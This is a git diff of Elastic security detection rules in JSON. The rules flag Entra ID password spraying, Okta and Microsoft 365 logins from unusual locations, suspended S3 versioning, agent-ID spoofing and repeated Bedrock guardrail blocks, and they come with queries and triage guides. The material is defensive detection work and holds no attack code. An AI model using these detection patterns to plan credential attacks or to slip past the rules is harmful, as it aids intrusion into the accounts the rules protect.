"Esql.azure_signinlogs_properties_device_detail_browser_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_device_detail_device_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_device_detail_operating_system_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_incoming_token_type_lower_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_incoming_token_type_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_resource_display_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_resource_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_risk_state_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_session_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_status_error_code_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_status_error_code_values", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_user_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_user_principal_name_lower_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_result_description_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_result_description_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_result_signature_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_result_type_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_as_organization_name_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_as_organization_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_geo_country_name_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_geo_country_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_ip_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_ip_values", + "type": "ip" + }, + { + "ecs": false, + "name": "Esql.time_window_date_trunc", + "type": "date" + }, + { + "ecs": false, + "name": "Esql_priv.azure_signinlogs_properties_user_principal_name_lower_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql_priv.azure_signinlogs_properties_user_principal_name_values", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "2d6f5332-42ea-11f0-b09a-f661ea17fbcd", + "severity": "high", + "tags": [ + "Domain: Cloud", + "Domain: Identity", + "Data Source: Azure", + "Data Source: Entra ID", + "Data Source: Entra ID Sign-in Logs", + "Use Case: Identity and Access Audit", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1110", + "name": "Brute Force", + "reference": "https://attack.mitre.org/techniques/T1110/", + "subtechnique": [ + { + "id": "T1110.001", + "name": "Password Guessing", + "reference": "https://attack.mitre.org/techniques/T1110/001/" + }, + { + "id": "T1110.003", + "name": "Password Spraying", + "reference": "https://attack.mitre.org/techniques/T1110/003/" + }, + { + "id": "T1110.004", + "name": "Credential Stuffing", + "reference": "https://attack.mitre.org/techniques/T1110/004/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 6 + }, + "id": "2d6f5332-42ea-11f0-b09a-f661ea17fbcd_6", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/2e56e1bc-867a-11ee-b13e-f661ea17fbcd_306.json b/packages/security_detection_engine/kibana/security_rule/2e56e1bc-867a-11ee-b13e-f661ea17fbcd_306.json deleted file mode 100644 index 6f05201073e..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/2e56e1bc-867a-11ee-b13e-f661ea17fbcd_306.json +++ /dev/null @@ -1,63 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Detects when a specific Okta actor has multiple sessions started from different geolocations. Adversaries may attempt to launch an attack by using a list of known usernames and passwords to gain unauthorized access to user accounts from different locations.", - "from": "now-30m", - "interval": "15m", - "language": "esql", - "license": "Elastic License v2", - "name": "Okta User Sessions Started from Different Geolocations", - "note": "## Triage and analysis\n\n### Investigating Okta User Sessions Started from Different Geolocations\n\nThis rule detects when a specific Okta actor has multiple sessions started from different geolocations. Adversaries may attempt to launch an attack by using a list of known usernames and passwords to gain unauthorized access to user accounts from different locations.\n\n#### Possible investigation steps:\n- Since this is an ESQL rule, the `okta.actor.alternate_id` and `okta.client.id` values can be used to pivot into the raw authentication events related to this alert.\n- Identify the users involved in this action by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields.\n- Determine the device client used for these actions by analyzing `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields.\n- With Okta end users identified, review the `okta.debug_context.debug_data.dt_hash` field.\n - Historical analysis should indicate if this device token hash is commonly associated with the user.\n- Review the `okta.event_type` field to determine the type of authentication event that occurred.\n - If the event type is `user.authentication.sso`, the user may have legitimately started a session via a proxy for security or privacy reasons.\n - If the event type is `user.authentication.password`, the user may be using a proxy to access multiple accounts for password spraying.\n - If the event type is `user.session.start`, the source may have attempted to establish a session via the Okta authentication API.\n- Review the past activities of the actor(s) involved in this action by checking their previous actions.\n- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity.\n - This may help determine the authentication and authorization actions that occurred between the user, Okta and application.\n\n### False positive analysis:\n- It is very rare that a legitimate user would have multiple sessions started from different geo-located countries in a short time frame.\n\n### Response and remediation:\n- If the user is legitimate and the authentication behavior is not suspicious based on device analysis, no action is required.\n- If the user is legitimate but the authentication behavior is suspicious, consider resetting passwords for the users involves and enabling multi-factor authentication (MFA).\n - If MFA is already enabled, consider resetting MFA for the users.\n- If any of the users are not legitimate, consider deactivating the user's account.\n- Conduct a review of Okta policies and ensure they are in accordance with security best practices.\n- Check with internal IT teams to determine if the accounts involved recently had MFA reset at the request of the user.\n - If so, confirm with the user this was a legitimate request.\n - If so and this was not a legitimate request, consider deactivating the user's account temporarily.\n - Reset passwords and reset MFA for the user.\n- If this is a false positive, consider adding the `okta.debug_context.debug_data.dt_hash` field to the `exceptions` list in the rule.\n - This will prevent future occurrences of this event for this device from triggering the rule.\n - Alternatively adding `okta.client.ip` or a CIDR range to the `exceptions` list can prevent future occurrences of this event from triggering the rule.\n - This should be done with caution as it may prevent legitimate alerts from being generated.\n", - "query": "FROM logs-okta*\n| WHERE\n event.dataset == \"okta.system\"\n AND (event.action RLIKE \"user\\\\.authentication(.*)\" OR event.action == \"user.session.start\")\n AND okta.security_context.is_proxy != true and okta.actor.id != \"unknown\"\n AND event.outcome == \"success\"\n| KEEP event.action, okta.security_context.is_proxy, okta.actor.id, event.outcome, client.geo.country_name, okta.actor.alternate_id\n| STATS\n geo_auth_counts = COUNT_DISTINCT(client.geo.country_name)\n BY okta.actor.id, okta.actor.alternate_id\n| WHERE\n geo_auth_counts >= 2\n", - "references": [ - "https://developer.okta.com/docs/reference/api/system-log/", - "https://developer.okta.com/docs/reference/api/event-types/", - "https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy", - "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection", - "https://www.rezonate.io/blog/okta-logs-decoded-unveiling-identity-threats-through-threat-hunting/", - "https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security", - "https://www.elastic.co/security-labs/starter-guide-to-understanding-okta" - ], - "risk_score": 47, - "rule_id": "2e56e1bc-867a-11ee-b13e-f661ea17fbcd", - "setup": "The Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.\n", - "severity": "medium", - "tags": [ - "Use Case: Identity and Access Audit", - "Data Source: Okta", - "Tactic: Initial Access", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0001", - "name": "Initial Access", - "reference": "https://attack.mitre.org/tactics/TA0001/" - }, - "technique": [ - { - "id": "T1078", - "name": "Valid Accounts", - "reference": "https://attack.mitre.org/techniques/T1078/", - "subtechnique": [ - { - "id": "T1078.004", - "name": "Cloud Accounts", - "reference": "https://attack.mitre.org/techniques/T1078/004/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 306 - }, - "id": "2e56e1bc-867a-11ee-b13e-f661ea17fbcd_306", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/30b5bb96-c7db-492c-80e9-1eab00db580b_3.json b/packages/security_detection_engine/kibana/security_rule/30b5bb96-c7db-492c-80e9-1eab00db580b_3.json deleted file mode 100644 index 010338ce96f..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/30b5bb96-c7db-492c-80e9-1eab00db580b_3.json +++ /dev/null @@ -1,91 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Identifies when object versioning is suspended for an Amazon S3 bucket. Object versioning allows for multiple versions of an object to exist in the same bucket. This allows for easy recovery of deleted or overwritten objects. When object versioning is suspended for a bucket, it could indicate an adversary's attempt to inhibit system recovery following malicious activity. Additionally, when versioning is suspended, buckets can then be deleted.", - "false_positives": [ - "Administrators within an AWS Organization structure may legitimately suspend object versioning. Ensure that this behavior is not part of a legitimate operation before taking action." - ], - "from": "now-6m", - "index": [ - "filebeat-*", - "logs-aws.cloudtrail-*" - ], - "language": "eql", - "license": "Elastic License v2", - "name": "AWS S3 Object Versioning Suspended", - "note": "\n## Triage and analysis\n\n### Investigating AWS S3 Object Versioning Suspended\n\nThis rule detects when object versioning for an S3 bucket is suspended. Adversaries with access to a misconfigured S3 bucket may disable object versioning prior to replacing or deleting S3 objects, inhibiting recovery initiatives.\nThis rule uses [EQL](https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-eql-rule) to look for use of the `PutBucketVersioning` operation where the `request_parameters` include `Status=Suspended`.\n\n#### Possible Investigation Steps:\n\n- **Identify the Actor**: Review the `aws.cloudtrail.user_identity.arn` and `aws.cloudtrail.user_identity.access_key_id` fields to identify who performed the action. Verify if this actor typically performs such actions and if they have the necessary permissions.\n- **Analyze the Source of the Request**: Investigate the `source.ip` and `source.geo` fields to determine the geographical origin of the request. An external or unexpected location might indicate compromised credentials or unauthorized access.\n- **Correlate with Other Activities**: Search for related CloudTrail events before and after this action to see if the same actor or IP address engaged in other potentially suspicious activities.\n- **Check for Object Deletion or Access**: Look for `DeleteObject`, `DeleteObjects`, or `GetObject` API calls to the same S3 bucket that may indicate the adversary accessing and destroying objects including older object versions.\n- **Interview Relevant Personnel**: If the copy event was initiated by a user, verify the intent and authorization for this action with the person or team responsible for managing S3 buckets.\n\n### False Positive Analysis:\n\n- **Legitimate Administrative Actions**: Confirm if the action aligns with legitimate administrative tasks documented in change management systems.\n- **Consistency Check**: Compare the action against historical data of similar activities performed by the user or within the organization. If the action is consistent with past legitimate activities, it might indicate a false alarm.\n\n### Response and Remediation:\n\n- **Immediate Review**: If the activity was unauthorized, search for replaced or deleted objects and review the bucket's access logs for any suspicious activity.\n- **Educate and Train**: Provide additional training to users with administrative rights on the importance of security best practices concerning S3 bucket management and the risks of ransomware.\n- **Audit S3 Bucket Policies and Permissions**: Conduct a comprehensive audit of all S3 bucket policies and associated permissions to ensure they adhere to the principle of least privilege.\n- **Incident Response**: If there's an indication of malicious intent or a security breach, initiate the incident response protocol to mitigate any damage and prevent future occurrences.\n\n### Additional Information:\n\nFor further guidance on managing S3 bucket security and protecting against ransomware, refer to the [AWS S3 documentation](https://docs.aws.amazon.com/AmazonS3/latest/userguide/Welcome.html) and AWS best practices for security. Additionally, consult the following resources for specific details on S3 ransomware protection:\n- [ERMETIC REPORT - AWS S3 Ransomware Exposure in the Wild](https://s3.amazonaws.com/bizzabo.file.upload/PtZzA0eFQwV2RA5ysNeo_ERMETIC%20REPORT%20-%20AWS%20S3%20Ransomware%20Exposure%20in%20the%20Wild.pdf)\n- [S3 Ransomware Part 1: Attack Vector](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)\n", - "query": "any where event.dataset == \"aws.cloudtrail\"\n and event.action == \"PutBucketVersioning\"\n and event.outcome == \"success\"\n and stringContains(aws.cloudtrail.request_parameters, \"Status=Suspended\")\n", - "references": [ - "https://docs.aws.amazon.com/AmazonS3/latest/userguide/Versioning.html/", - "https://docs.aws.amazon.com/AmazonS3/latest/API/API_PutBucketVersioning.html/", - "https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/", - "https://www.invictus-ir.com/news/ransomware-in-the-cloud/", - "https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/" - ], - "related_integrations": [ - { - "integration": "cloudtrail", - "package": "aws", - "version": "^2.0.0" - } - ], - "required_fields": [ - { - "ecs": false, - "name": "aws.cloudtrail.request_parameters", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.dataset", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.outcome", - "type": "keyword" - } - ], - "risk_score": 47, - "rule_id": "30b5bb96-c7db-492c-80e9-1eab00db580b", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Data Source: AWS", - "Data Source: Amazon Web Services", - "Data Source: AWS S3", - "Use Case: Threat Detection", - "Tactic: Impact", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0040", - "name": "Impact", - "reference": "https://attack.mitre.org/tactics/TA0040/" - }, - "technique": [ - { - "id": "T1490", - "name": "Inhibit System Recovery", - "reference": "https://attack.mitre.org/techniques/T1490/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "eql", - "version": 3 - }, - "id": "30b5bb96-c7db-492c-80e9-1eab00db580b_3", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/3115bd2c-0baa-4df0-80ea-45e474b5ef93_101.json b/packages/security_detection_engine/kibana/security_rule/3115bd2c-0baa-4df0-80ea-45e474b5ef93_101.json deleted file mode 100644 index 49f5317802e..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/3115bd2c-0baa-4df0-80ea-45e474b5ef93_101.json +++ /dev/null @@ -1,57 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Detects events that have a mismatch on the expected event agent ID. The status \"agent_id_mismatch\" occurs when the expected agent ID associated with the API key does not match the actual agent ID in an event. This could indicate attempts to spoof events in order to masquerade actual activity to evade detection.", - "false_positives": [ - "This is meant to run only on datasources using Elastic Agent 7.14+ since versions prior to that will be missing the necessary field, resulting in false positives." - ], - "from": "now-9m", - "index": [ - "logs-*", - "metrics-*", - "traces-*" - ], - "language": "kuery", - "license": "Elastic License v2", - "name": "Agent Spoofing - Mismatched Agent ID", - "query": "event.agent_id_status:agent_id_mismatch\n", - "required_fields": [ - { - "ecs": true, - "name": "event.agent_id_status", - "type": "keyword" - } - ], - "risk_score": 73, - "rule_id": "3115bd2c-0baa-4df0-80ea-45e474b5ef93", - "severity": "high", - "tags": [ - "Use Case: Threat Detection", - "Tactic: Defense Evasion" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0005", - "name": "Defense Evasion", - "reference": "https://attack.mitre.org/tactics/TA0005/" - }, - "technique": [ - { - "id": "T1036", - "name": "Masquerading", - "reference": "https://attack.mitre.org/techniques/T1036/" - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "query", - "version": 101 - }, - "id": "3115bd2c-0baa-4df0-80ea-45e474b5ef93_101", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/3115bd2c-0baa-4df0-80ea-45e474b5ef93_105.json b/packages/security_detection_engine/kibana/security_rule/3115bd2c-0baa-4df0-80ea-45e474b5ef93_105.json new file mode 100644 index 00000000000..692138a546b --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/3115bd2c-0baa-4df0-80ea-45e474b5ef93_105.json @@ -0,0 +1,64 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Detects events that have a mismatch on the expected event agent ID. The status \"agent_id_mismatch/mismatch\" occurs when the expected agent ID associated with the API key does not match the actual agent ID in an event. This could indicate attempts to spoof events in order to masquerade actual activity to evade detection.", + "false_positives": [ + "This is meant to run only on datasources using Elastic Agent 7.14+ since versions prior to that will be missing the necessary field, resulting in false positives." + ], + "from": "now-9m", + "index": [ + "logs-*", + "metrics-*", + "traces-*" + ], + "language": "kuery", + "license": "Elastic License v2", + "name": "Agent Spoofing - Mismatched Agent ID", + "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Agent Spoofing - Mismatched Agent ID\n\nIn security environments, agent IDs uniquely identify software agents that report events. Adversaries may spoof these IDs to disguise unauthorized activities, evading detection systems. The detection rule identifies discrepancies between expected and actual agent IDs, flagging potential spoofing attempts. By monitoring for mismatches, it helps uncover efforts to masquerade malicious actions as legitimate.\n\n### Possible investigation steps\n\n- Review the event logs to identify the specific events where the agent_id_status is marked as \"agent_id_mismatch\" or \"mismatch\" to understand the scope and frequency of the issue.\n- Correlate the mismatched agent IDs with the associated API keys to determine if there are any patterns or commonalities that could indicate a targeted spoofing attempt.\n- Investigate the source IP addresses and user accounts associated with the mismatched events to identify any unauthorized access or suspicious activity.\n- Check for any recent changes or anomalies in the configuration or deployment of agents that could explain the mismatches, such as updates or reassignments.\n- Analyze historical data to determine if similar mismatches have occurred in the past and whether they were resolved or linked to known issues or threats.\n- Consult with the IT or security team to verify if there are any legitimate reasons for the agent ID discrepancies, such as testing or maintenance activities.\n\n### False positive analysis\n\n- Legitimate software updates or patches may temporarily cause agent ID mismatches. Users should verify if the mismatches coincide with scheduled updates and consider excluding these events if confirmed.\n- Network configuration changes, such as IP address reassignments, can lead to mismatches. Ensure that network changes are documented and correlate with the mismatched events before excluding them.\n- Virtual machine snapshots or clones might result in duplicate agent IDs. Users should track virtual machine activities and exclude events from known snapshot or cloning operations.\n- Load balancing or failover processes in high-availability environments can cause agent ID discrepancies. Review the infrastructure setup and exclude events that align with these processes.\n- Testing environments often simulate various agent activities, leading to mismatches. Clearly separate test environments from production in monitoring systems and exclude test-related events.\n\n### Response and remediation\n\n- Immediately isolate the affected systems to prevent further unauthorized access or data exfiltration. This can be done by disconnecting the system from the network or using network segmentation techniques.\n- Conduct a thorough review of the logs and events associated with the mismatched agent ID to identify any unauthorized changes or activities. Focus on the specific events flagged by the detection rule.\n- Revoke and reissue API keys associated with the compromised agent ID to prevent further misuse. Ensure that new keys are distributed securely and only to authorized personnel.\n- Implement additional monitoring on the affected systems and related network segments to detect any further attempts at agent ID spoofing or other suspicious activities.\n- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if the threat actor has compromised other parts of the network.\n- Review and update access controls and authentication mechanisms to ensure that only legitimate agents can report events. Consider implementing multi-factor authentication for added security.\n- Document the incident, including all actions taken, and conduct a post-incident review to identify any gaps in detection or response. Use this information to enhance future threat detection and response capabilities.", + "query": "event.agent_id_status:agent_id_mismatch and not host.name:agentless-*\n", + "required_fields": [ + { + "ecs": true, + "name": "event.agent_id_status", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.name", + "type": "keyword" + } + ], + "risk_score": 73, + "rule_id": "3115bd2c-0baa-4df0-80ea-45e474b5ef93", + "severity": "high", + "tags": [ + "Use Case: Threat Detection", + "Tactic: Defense Evasion", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0005", + "name": "Defense Evasion", + "reference": "https://attack.mitre.org/tactics/TA0005/" + }, + "technique": [ + { + "id": "T1036", + "name": "Masquerading", + "reference": "https://attack.mitre.org/techniques/T1036/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "query", + "version": 105 + }, + "id": "3115bd2c-0baa-4df0-80ea-45e474b5ef93_105", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/3216949c-9300-4c53-b57a-221e364c6457_1.json b/packages/security_detection_engine/kibana/security_rule/3216949c-9300-4c53-b57a-221e364c6457_1.json deleted file mode 100644 index f7551907dea..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/3216949c-9300-4c53-b57a-221e364c6457_1.json +++ /dev/null @@ -1,42 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Detects repeated compliance violation 'BLOCKED' actions coupled with specific policy name such as 'word_policy', indicating persistent misuse or attempts to probe the model's denied topics.", - "false_positives": [ - "New model deployments.", - "Testing updates to compliance policies." - ], - "from": "now-60m", - "interval": "10m", - "language": "esql", - "license": "Elastic License v2", - "name": "Unusual High Word Policy Blocks Detected", - "note": "## Triage and analysis\n\n### Investigating Amazon Bedrock Guardrail High Word Policy Blocks.\n\nAmazon Bedrock Guardrail is a set of features within Amazon Bedrock designed to help businesses apply robust safety and privacy controls to their generative AI applications.\n\nIt enables users to set guidelines and filters that manage content quality, relevancy, and adherence to responsible AI practices.\n\nThrough Guardrail, organizations can define \"word filters\" to prevent the model from generating content on profanity, undesired subjects,\nand they can establish thresholds for harmful content categories, including hate speech, violence, or offensive language.\n\n#### Possible investigation steps\n\n- Identify the user account whose prompts contained profanity and whether it should perform this kind of action.\n- Investigate other alerts associated with the user account during the past 48 hours.\n- Consider the time of day. If the user is a human (not a program or script), did the activity take place during a normal time of day?\n- Examine the account's prompts and responses in the last 24 hours.\n- If you suspect the account has been compromised, scope potentially compromised assets by tracking Amazon Bedrock model access, prompts generated, and responses to the prompts by the account in the last 24 hours.\n\n### False positive analysis\n\n- Verify the user account that queried denied topics, is not testing any new model deployments or updated compliance policies in Amazon Bedrock guardrails.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Disable or limit the account during the investigation and response.\n- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context:\n - Identify the account role in the cloud environment.\n - Identify if the attacker is moving laterally and compromising other Amazon Bedrock Services.\n - Identify any regulatory or legal ramifications related to this activity.\n- Review the permissions assigned to the implicated user group or role behind these requests to ensure they are authorized and expected to access bedrock and ensure that the least privilege principle is being followed.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", - "query": "from logs-aws_bedrock.invocation-*\n| MV_EXPAND gen_ai.policy.name \n| where gen_ai.policy.action == \"BLOCKED\" and gen_ai.compliance.violation_detected == \"true\" and gen_ai.policy.name == \"word_policy\"\n| keep user.id\n| stats profanity_words= count() by user.id\n| where profanity_words > 5\n| sort profanity_words desc\n", - "references": [ - "https://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-components.html", - "https://atlas.mitre.org/techniques/AML.T0051", - "https://atlas.mitre.org/techniques/AML.T0054", - "https://www.elastic.co/security-labs/elastic-advances-llm-security" - ], - "risk_score": 47, - "rule_id": "3216949c-9300-4c53-b57a-221e364c6457", - "setup": "## Setup\n\nThis rule requires that guardrails are configured in AWS Bedrock. For more information, see the AWS Bedrock documentation:\n\nhttps://docs.aws.amazon.com/bedrock/latest/userguide/guardrails-create.html\n", - "severity": "medium", - "tags": [ - "Domain: LLM", - "Data Source: AWS Bedrock", - "Data Source: AWS S3", - "Use Case: Policy Violation", - "Mitre Atlas: T0051", - "Mitre Atlas: T0054" - ], - "timestamp_override": "event.ingested", - "type": "esql", - "version": 1 - }, - "id": "3216949c-9300-4c53-b57a-221e364c6457_1", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/32d3ad0e-6add-11ef-8c7b-f661ea17fbcc_5.json b/packages/security_detection_engine/kibana/security_rule/32d3ad0e-6add-11ef-8c7b-f661ea17fbcc_5.json deleted file mode 100644 index 4ae75cbb1f4..00000000000 --- a/packages/security_detection_engine/kibana/security_rule/32d3ad0e-6add-11ef-8c7b-f661ea17fbcc_5.json +++ /dev/null @@ -1,106 +0,0 @@ -{ - "attributes": { - "author": [ - "Elastic" - ], - "description": "Detects successful Microsoft 365 portal logins from rare locations. Rare locations are defined as locations that are not commonly associated with the user's account. This behavior may indicate an adversary attempting to access a Microsoft 365 account from an unusual location or behind a VPN.", - "false_positives": [ - "False positives may occur when users are using a VPN or when users are traveling to different locations." - ], - "from": "now-9m", - "history_window_start": "now-14d", - "index": [ - "filebeat-*", - "logs-o365.audit-*" - ], - "language": "kuery", - "license": "Elastic License v2", - "name": "Microsoft 365 Portal Login from Rare Location", - "new_terms_fields": [ - "o365.audit.UserId", - "source.geo.country_name" - ], - "note": "## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Microsoft 365 Portal Login from Rare Location\n\nMicrosoft 365 is a cloud-based suite offering productivity tools accessible from anywhere, making it crucial for business operations. Adversaries may exploit this by logging in from uncommon locations, potentially using VPNs to mask their origin. The detection rule identifies successful logins from atypical locations, flagging potential unauthorized access attempts by analyzing login events and user location patterns.\n\n### Possible investigation steps\n\n- Review the login event details from the o365.audit dataset to confirm the user's identity and the timestamp of the login.\n- Analyze the location data associated with the login event to determine if it is indeed rare or unusual for the user's typical access patterns.\n- Check the user's recent login history to identify any other logins from the same rare location or any other unusual locations.\n- Investigate the IP address used during the login to determine if it is associated with known VPN services or suspicious activity.\n- Contact the user to verify if they initiated the login from the rare location or if they are aware of any unauthorized access attempts.\n- Examine any recent changes to the user's account settings or permissions that could indicate compromise or unauthorized access.\n- Correlate this event with other security alerts or logs to identify any patterns or additional indicators of compromise.\n\n### False positive analysis\n\n- Users traveling frequently may trigger alerts due to logins from new locations. Implement a process to update known travel patterns for these users to reduce false positives.\n- Employees using VPNs for legitimate purposes might appear to log in from rare locations. Maintain a list of approved VPN IP addresses and exclude them from triggering alerts.\n- Remote workers who occasionally connect from different locations can cause false positives. Establish a baseline of expected locations for these users and adjust the detection rule accordingly.\n- Shared accounts accessed by multiple users from different locations can lead to false alerts. Consider monitoring these accounts separately and applying stricter access controls.\n- Temporary relocations, such as business trips or remote work arrangements, may result in unusual login locations. Communicate with users to anticipate these changes and adjust the detection parameters temporarily.\n\n### Response and remediation\n\n- Immediately isolate the affected user account by disabling it to prevent further unauthorized access.\n- Notify the user and relevant IT security personnel about the suspicious login activity to ensure awareness and initiate further investigation.\n- Conduct a password reset for the affected account and enforce multi-factor authentication (MFA) if not already enabled to enhance account security.\n- Review and analyze recent activity logs for the affected account to identify any unauthorized actions or data access that may have occurred.\n- If unauthorized access is confirmed, initiate a security incident response plan, including data breach notification procedures if necessary.\n- Escalate the incident to the security operations center (SOC) or incident response team for further analysis and to determine if additional systems or accounts are compromised.\n- Implement geo-blocking or conditional access policies to restrict access from rare or high-risk locations, reducing the likelihood of similar incidents in the future.", - "query": "event.dataset: \"o365.audit\"\n and event.provider: \"AzureActiveDirectory\"\n and event.action: \"UserLoggedIn\"\n and event.outcome: \"success\"\n and not o365.audit.UserId: \"Not Available\"\n and o365.audit.Target.Type: (\"0\" or \"2\" or \"3\" or \"5\" or \"6\" or \"10\")\n", - "references": [ - "https://www.huntress.com/blog/time-travelers-busted-how-to-detect-impossible-travel-" - ], - "related_integrations": [ - { - "package": "o365", - "version": "^2.0.0" - } - ], - "required_fields": [ - { - "ecs": true, - "name": "event.action", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.dataset", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.outcome", - "type": "keyword" - }, - { - "ecs": true, - "name": "event.provider", - "type": "keyword" - }, - { - "ecs": false, - "name": "o365.audit.Target.Type", - "type": "keyword" - }, - { - "ecs": false, - "name": "o365.audit.UserId", - "type": "keyword" - } - ], - "risk_score": 47, - "rule_id": "32d3ad0e-6add-11ef-8c7b-f661ea17fbcc", - "severity": "medium", - "tags": [ - "Domain: Cloud", - "Data Source: Microsoft 365", - "Use Case: Threat Detection", - "Tactic: Initial Access", - "Resources: Investigation Guide" - ], - "threat": [ - { - "framework": "MITRE ATT&CK", - "tactic": { - "id": "TA0001", - "name": "Initial Access", - "reference": "https://attack.mitre.org/tactics/TA0001/" - }, - "technique": [ - { - "id": "T1078", - "name": "Valid Accounts", - "reference": "https://attack.mitre.org/techniques/T1078/", - "subtechnique": [ - { - "id": "T1078.004", - "name": "Cloud Accounts", - "reference": "https://attack.mitre.org/techniques/T1078/004/" - } - ] - } - ] - } - ], - "timestamp_override": "event.ingested", - "type": "new_terms", - "version": 5 - }, - "id": "32d3ad0e-6add-11ef-8c7b-f661ea17fbcc_5", - "type": "security-rule" -} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/333de828-8190-4cf5-8d7c-7575846f6fe0_212.json b/packages/security_detection_engine/kibana/security_rule/333de828-8190-4cf5-8d7c-7575846f6fe0_212.json new file mode 100644 index 00000000000..aef9fab5041 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/333de828-8190-4cf5-8d7c-7575846f6fe0_212.json @@ -0,0 +1,113 @@ +{ + 